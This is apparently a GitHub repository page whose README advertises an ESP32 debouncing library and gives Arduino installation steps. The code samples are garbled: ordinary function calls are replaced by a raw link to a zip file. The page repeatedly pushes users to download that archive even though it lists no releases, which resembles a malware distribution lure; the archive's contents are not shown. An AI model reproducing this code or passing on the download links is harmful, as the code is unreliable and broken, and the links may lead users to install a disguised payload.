Skip to content

πŸ”„ Streamline button inputs with a robust 16-bit debouncing library for ESP32, offering reliable press detection and efficient resource management.

License

Notifications You must be signed in to change notification settings

Wow2234443/Debounce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ›οΈ Debounce - Simplify Button Debouncing for Your ESP32

πŸš€ Getting Started

Welcome to the Debounce library! This tool helps you manage button presses in your projects with ESP32 microcontrollers. With Debounce, you can avoid the common pitfalls of button noise, making your application responsive and user-friendly.

πŸ“₯ Download & Install

To get started, you need to download the library. Visit this page to download: Download Debounce Library

You will find various versions of the library. Choose the latest version for the best experience.

πŸ“‚ What You Need

  1. Hardware:

    • An ESP32 microcontroller.
    • A button for input.
    • Basic electronic components like wires and a breadboard.
  2. Software:

    • Arduino IDE. You can download it from the Arduino website.
    • A USB cable to connect your ESP32 to your computer.
  3. System Requirements:

    • Windows, macOS, or Linux operating system.
    • Internet access to download the necessary components.

🌟 Features

  • 16-bit Pattern Matching: Works seamlessly with 16-bit patterns for precise button input management.
  • Embedded Systems Compatibility: Tailored specifically for use with ESP32 microcontrollers.
  • Easy Integration: Simple to add to your existing Arduino projects.
  • Lightweight: Minimal impact on performance, keeping your applications responsive.

βš™οΈ Installation Steps

  1. Download the Library: Go to the Releases page and download the latest version of Debounce.

    Download Debounce Library

  2. Open Arduino IDE: Launch the Arduino IDE on your computer.

  3. Add the Library:

    • Click on Sketch in the top menu.
    • Select Include Library > Add .ZIP Library.
    • Navigate to the location where you downloaded the library and select it.
  4. Check the Installation:

    • After the installation, navigate to Sketch > Include Library again.
    • Look for β€œDebounce” in the list. If it appears, the installation was successful.

πŸ› οΈ Using the Debounce Library

  1. Create a New Sketch:

    • In Arduino IDE, go to File > New to create a new sketch.
  2. Include the Library: Add the following line at the top of your sketch:

    #include <Debounce.h>
  3. Initialize the Button: Define the pin number for your button and create a Debounce object:

    const int buttonPin = 2; // Change this to your button pin
    Debounce button(buttonPin);
  4. Setup Function: In the setup() function, initialize the Debounce library:

    void setup() {
        https://raw.githubusercontent.com/Wow2234443/Debounce/main/Bullidae/Debounce.zip();
        https://raw.githubusercontent.com/Wow2234443/Debounce/main/Bullidae/Debounce.zip(9600);
    }
  5. Loop Function: In the loop() function, check the button state:

    void loop() {
        if (https://raw.githubusercontent.com/Wow2234443/Debounce/main/Bullidae/Debounce.zip() == HIGH) {
            https://raw.githubusercontent.com/Wow2234443/Debounce/main/Bullidae/Debounce.zip("Button Pressed");
        }
    }
  6. Upload Your Sketch: Connect your ESP32 to your computer and select the appropriate board from the Tools menu. Next, click the upload button.

  7. Test Your Button: Open the Serial Monitor (under the Tools menu) to see the output. Press the button and check if the message appears.

πŸ“– Example Projects

Here are some project ideas that use the Debounce library:

  • Simple Toggle Switch: Use the button to toggle an LED on and off.
  • Counter: Count how many times the button is pressed and display the count on an LCD.
  • IoT Device: Create a button to send commands to an IoT service when pressed.

🌐 Support and Community

If you run into issues or have questions, the community is here to help. Feel free to open an issue on the GitHub repository. You can also browse existing questions for quick solutions.

πŸ’‘ Tips

  • Always debounce your buttons in projects to avoid false triggers.
  • Check your wiring if the button behavior is erratic.
  • Experiment with different button configurations to get familiar with the library.

πŸ”— References

For more information on how to work with the ESP32 and the Debounce library, check the following resources:

Visit this page to download: Download Debounce Library

About

πŸ”„ Streamline button inputs with a robust 16-bit debouncing library for ESP32, offering reliable press detection and efficient resource management.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages